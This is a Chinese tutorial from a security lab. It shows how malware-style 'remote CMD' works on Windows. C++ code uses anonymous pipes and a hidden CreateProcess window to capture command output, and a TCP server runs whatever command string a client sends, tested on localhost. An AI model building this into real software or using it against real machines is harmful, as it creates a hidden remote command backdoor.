0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

使用匿名管道技术获取CMD命令的执行结果

蛇矛实验室 来源:蛇矛实验室 2023-04-03 18:04 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

序言

远程 CMD 是指恶意程序接收到控制端发送的 CMD 指令后,在本地执行 CMD 命令,并将执行结果回传至控制端。本文将演示使用匿名管道技术获取 CMD 命令的执行结果。

相关API

CreatePipe:用于创建管道

PeekNamedPipe:用于判断管道中是否有数据存在

ReadFile、WriteFile:用于向管道读取或写入数据

CreateProcess:用于创建CMD子进程,可指定启动信息(STARTUPINFO)

实现原理

管道是一种进程间通信的技术,Window 上进程间通信技术还有文件映射、共享内存、邮槽、剪切板、事件等。

管道分为命名管道和匿名管道:

* 匿名管道只能在父子进程间通信,数据传输单向,不能网络通信

* 命名管道可在任意进程间通信,数据传输双向,但同一时间只能有一端读写。

由于远程 CMD 中仅仅需要执行 CMD 指令的结果,所以使用匿名管道即可,其使用流程如下:

1. 使用 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄。

2. 初始化进程结构体,将管道写入句柄赋给新进程控制台窗口的缓存句柄;

3. 使用CreateProcess创建新进程执行CMD命令,并等待命令执行结束;

4. 在循环中使用 PeekNamedPipe 函数判断管道中是否有数据,通过管道读取句柄从缓冲区中获取执行结果。

5. 关闭句柄,释放资源。

编码实现

关键代码

// 执行 cmd 命令, 并获取执行结果数据
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
BOOL bRet = FALSE;

HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

// 设定管道的安全属性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 创建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if(FALSE== bRet)
{
printf("CreatePipe");
returnfalse;
}
// 设置新进程参数
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 创建新进程执行命令, 将执行结果写入匿名管道中
bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if(FALSE== bRet)
{
printf("CreateProcess");
returnfalse;
}

// 等待命令执行结束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);

// 不断从匿名管道中读取结果到输出缓冲区
while(true)
{
char buf[2048]{};
DWORD readbytes = 0;
DWORD availbytes = 0;

if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
if(!availbytes) break;
if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;

buf[readbytes] = 0;
outbuf += buf;
}

// 关闭句柄, 释放内存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);

returntrue;
}

上面的代码中首先调用 CreatePipe 函数创建匿名管道,并将返回的读写句柄保存到 hReadPipe 和 hWritePipe 变量中。

然后,通过设置STARTUPINFO结构体中的参数,将新进程的标准错误输出和标准输出都重定向到管道中,以便将命令执行结果写入管道中。

接着,调用CreateProcess函数创建新进程,并将命令行命令作为参数传入。

CreateProcess 函数执行成功后,新进程开始执行命令,并将命令执行结果写入管道中,之后通过循环调用 PeekNamedPipe 和 ReadFile 函数,不断从管道中读取数据,并将读取到的数据存储到输出缓冲区中。

最后,代码关闭句柄,释放内存。

测试实现

测试代码

intmain(intargc, char** argv)
{
TCHAR cmd_str[] = L"ping 127.0.0.1";

// 执行 cmd 命令, 并获取执行结果数据
std::stringoutbuf;
if(false== PipeCmd(cmd_str, outbuf))
{
printf("pipe cmd error.
");
}
else
{
printf("CMD执行结果为:
%s
", outbuf.c_str());
}

system("pause");
return0;
}

b4ead242-d004-11ed-bfe3-dac502259ad0.png

远程传输

前面仅仅是把 cmd 命令的执行结果获取了,要想实现远程传输,需要加入网络传输部分。

b4fd46e8-d004-11ed-bfe3-dac502259ad0.png

测试

服务端

#definePORT 9982
inttest_server()
{
SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in bindaddr;
bindaddr.sin_family = AF_INET;
bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
bindaddr.sin_port = htons(PORT);
bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));

listen(listenfd, 1);

sockaddr_in clientaddr;
intclientaddrlen = sizeof(SOCKADDR);
SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);

charbuf[1024]{};
intrecvbytes = recv(clientfd, buf, 1024, 0);
if(recvbytes <= 0) return -1;

   std::string outbuf;
   PipeCmd((LPTSTR)buf, outbuf);
   std::cout << outbuf << std::endl;

   closesocket(clientfd);
   closesocket(listenfd);

   return 0;
}

客户端

inttest_client()
{
SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

structsockaddr_inServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ServerAddr.sin_port = htons(PORT);

connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));

TCHAR cmdbuf[100] = _T("ipconfig");
send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);

closesocket(connfd);

return0;

效果

开启服务器后,通过客户端向服务端发送指令,服务端接收到指令后开始处理,最终测试能够正确处理。

小结

上述的远程 CMD 的实现通过一个匿名管道实现的,它是通过直接执行 cmd 命令,从而不需要创建传递命令的管道。远程 CMD 的实现方法还有几种变形方式,比如双管道远程 CMD,和零管道远程 CMD,它们对应的思路就是对 CMD 的输出输入重定向位置进行控制,比如:

双管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为读写管道的句柄。

零管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为 socket 的句柄。






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • WINDOWS
    +关注

    关注

    4

    文章

    3694

    浏览量

    93223
  • CMD命令
    +关注

    关注

    0

    文章

    28

    浏览量

    8693

原文标题:安全研发之远程CMD

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    为什么不建议用匿名结构体

    说起匿名结构体,想必大家第一感觉就是看着好高大上的名字,但实际上也就那样。 typedef struct { union { struct { uint8_t bit_0:1
    发表于 12-04 07:39

    Shell历史命令history用法

    1. 显示历史命令列表 「介绍」:history 命令用于显示当前会话中执行过的命令的列表,以及每个命令对应的编号。「示例代码」:histo
    发表于 12-02 06:10

    飞凌嵌入式ElfBoard-文件I/O的了解探究之fcntl和ioctl

    -1,并且会设置errno;执行成功的情况下,其返回值与cmd(操作命令)有关,譬如cmd=F_DUPFD(复制文件描述符)将返回一个新的文件描述符、
    发表于 11-28 09:17

    NICE指令的完整执行过程

    做进一步的译码,请求通道接收指令并依次执行指令。 5、协处理器通过反馈通道反馈结果、返回值。 6、主处理器提取命令,并将结果写回通用寄存器(如果需要写回)。
    发表于 10-23 07:25

    [RT-Thread Nano 4.1.1] Finsh 控制 命令执行 创建定时器 第三次无法执行怎么解决?

    软件平台:RT-Thread Nano 4.1.1 组件:Finsh 控制台 硬件平台:Numaker-M252SD 任务: MSH_CMD_EXPORT user_timer_test 控制命令
    发表于 10-13 07:09

    使用AT组件命令行可以发送成功,但是在程序里发送总是超时,怎么解决?

    是AT说明里的例程,按照例程把发送命令加入到控制台,输入命令是可以正确响应的。 但是我在程序里写是类似的代码,就提示超时。 在提示超时后,又会显示正确的响应结果,这是为了个啥?! 下面是我的程序 int
    发表于 09-23 07:14

    远程命令执行:IT 运维效率翻倍新方式

    。SplashtopAEM(自动端点管理)解决方案内置的远程命令提示符功能,允许IT管理员无需启动完整的远程会话,即可轻松在远程设备上执行命令行指令。该功能同时兼容W
    的头像 发表于 09-04 17:15 863次阅读
    远程<b class='flag-5'>命令</b><b class='flag-5'>执行</b>:IT 运维效率翻倍新方式

    【HZ-T536开发板免费体验】5- 无需死记 Linux 命令!用 CangjieMagic 在 HZ-T536 开发板上搭建 MCP 服务器,自然语言轻松控板

    对应的 Linux 命令或 API 调用; MCP服务器执行指令,获取HZ-T536开发板上的运行结果(如命令输出、硬件状态); MCP服务
    发表于 08-23 13:10

    Linux基础命令which详解

    在Linux系统中,which命令用于查找并显示指定命令的可执行文件路径。这对于系统管理员和开发人员来说是一个非常有用的工具,可以帮助定位命令所在的位置,确认
    的头像 发表于 07-29 17:58 591次阅读

    oracle数据恢复—oracle数据库误执行错误truncate命令如何恢复数据?

    oracle数据库误执行truncate命令导致数据丢失是一种常见情况。通常情况下,oracle数据库误操作删除数据只需要通过备份恢复数据即可。也会碰到一些特殊情况,例如数据库备份无法使用或者还原
    的头像 发表于 06-05 16:01 603次阅读
    oracle数据恢复—oracle数据库误<b class='flag-5'>执行</b>错误truncate<b class='flag-5'>命令</b>如何恢复数据?

    allegro软件走线命令下参数不显示如何解决

    在PCB设计中,走线命令是频繁使用的功能之一。执行走线命令后,通常会在Options面板中显示线宽、层、角度等设置选项,用于调整走线参数。然而,有时执行走线
    的头像 发表于 06-05 09:30 1488次阅读
    allegro软件走线<b class='flag-5'>命令</b>下参数不显示如何解决

    HarmonyOS5云服务技术分享--匿名登录功能指南

    哦\') break; } 希望这篇指南能让大家少走弯路!如果遇到任何问题,欢迎来评论区找我唠嗑~ 也记得关注我们的公众号获取最新技术资讯哦!✨ 祝各位开发顺利,咱们下期见! ? 【本期小互动】你更倾向用手机验证码登录还是游客快速体验?评论区聊聊你的看法吧~ ?
    发表于 05-22 16:41

    HarmonyOS5云服务技术分享--认证文档问题

    oh-package.json5​​ 在应用级oh-package.json5中添加依赖: 点击右上角 ​​Sync Now​​ 同步配置。 ​​方式二:命令行安装​​ 进入entry目录执行命令: ​​3. 初始化SDK
    发表于 05-22 13:20

    DLP4500-C350REF在发送获取光机的RGB颜色命令,返回的是不正确的数值,为什么?

    大家好,我有几个问题想问一下,谢谢大家赐教 1:为什么在发送获取光机的RGB 颜色命令,返回的是不正确的数值,再次发送该命令才能得到正确的值(就是连续发送2次获取RGB的
    发表于 02-21 07:05

    NIRSCANEVM在dlp_nirscan下执行make命令时,产生了报错怎么解决?

    /example-applications下两个文件夹(dlp_nirscan和dlp_nirscan_demo)下面的程序,在dlp_nirscan_demo下执行make命令,顺利执行,产生了可
    发表于 02-19 08:04